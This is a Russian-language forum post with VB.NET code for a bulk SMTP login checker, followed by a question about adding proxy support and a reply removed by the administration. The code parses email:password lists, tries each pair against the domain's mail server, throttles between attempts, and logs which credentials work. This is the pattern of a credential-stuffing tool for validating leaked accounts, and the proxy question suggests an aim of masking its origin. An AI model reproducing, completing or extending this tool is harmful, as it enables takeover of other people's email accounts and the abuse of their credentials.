| Код |
Dim count As String = ListBox1.Items.Count
Dim login, pass, dom As String
Dim line, linee, err As String
Dim mast As Integer = ListBox1.Items.Count
Dim index, ind As Integer
Dim port, serv, dom2, use_serv, megalog, res As String
err = False
ProgressBar1.Maximum = 100
For index = 0 To mast - 1
line = ListBox1.Items.Item(index)
'ListBox2.Items.Add(line)
Dim m, mm As RegularExpressions.Match
m = RegularExpressions.Regex.Match(line, "^(.+)@")
login = m.Groups(1).Value
m = RegularExpressions.Regex.Match(line, "@(.+)" + razd.Text)
dom = m.Groups(1).Value
m = RegularExpressions.Regex.Match(line, razd.Text + "(.+)$")
pass = m.Groups(1).Value
'''''''''''''''''''''''''''''''''''''''''''
For ind = 0 To ListBox4.Items.Count - 1
linee = ListBox4.Items.Item(ind)
mm = RegularExpressions.Regex.Match(linee, "^(.+):")
dom2 = mm.Groups(1).Value
mm = RegularExpressions.Regex.Match(linee, ":(.+)$")
serv = mm.Groups(1).Value
If dom = dom2 Then
use_serv = serv
End If
Next ind
'''''''''''''''''''''''''''''''''''''''''''
statmail.Text = login + "@" + dom + ":" + pass
If smtpmail.Text = "" Then
Me.Invoke(New PrintDelegate(AddressOf log), "No smtpMail Specified for: " + line)
err = True
End If
If login = "" Then
Me.Invoke(New PrintDelegate(AddressOf log), "No Username specified for: " + line)
err = True
End If
If pass = "" Then
Me.Invoke(New PrintDelegate(AddressOf log), "No Password Specified for:" + line)
err = True
End If
If err = False Then
Timer2.Interval = TextBox1.Text * 1000
Timer2.Start()
Dim mailMsg As New MailMessage(login + "@" + dom, smtpmail.Text, "TEST", "")
Dim mysmtp As SmtpClient
If use_serv = "" Then
use_serv = "smtp" + dom
End If
mysmtp = New SmtpClient(use_serv)
mysmtp.Credentials = New System.Net.NetworkCredential(login, pass)
Try
mysmtp.Send(mailMsg)
Me.Invoke(New PrintDelegate(AddressOf write_in_log), line + vbNewLine)
statmail.Text = login + "@" + dom + ":" + pass + " [OK]"
res = "OK"
Catch exp As Exception
Me.Invoke(New PrintDelegate(AddressOf write_in_log), "ERROR : " + exp.Message + vbNewLine)
statmail.Text = login + "@" + dom + ":" + pass + "[FAIL]"
res = "FAIL"
End Try
Timer2.Stop()
megalog = "login [" + login + "] pass [" + pass + "] " + " smtpServer [" + use_serv + "] result : " + res & vbNewLine
Me.Invoke(New PrintDelegate(AddressOf write_in_log), megalog)
End If
statmail.Text = "Ждем " + smtptimeout.Text + " секунд"
Thread.Sleep(smtptimeout.Text)
Dim st As Integer = ListBox1.Items.Count
pr = 100 / st
'Me.Invoke(New PrintDelegate(AddressOf progr), pr)
' Dim myD2 As New PrintDelegate(AddressOf progr)
Me.Invoke(New PrintDelegate(AddressOf progr), "10")
Next index
smtpflag = True
statmail.Text = "Закончили"
|
Как прикрутить поддержку Прокси??? --------------------
<удалено администрацией> |
SMTP + Proxy 
Загрузка ...
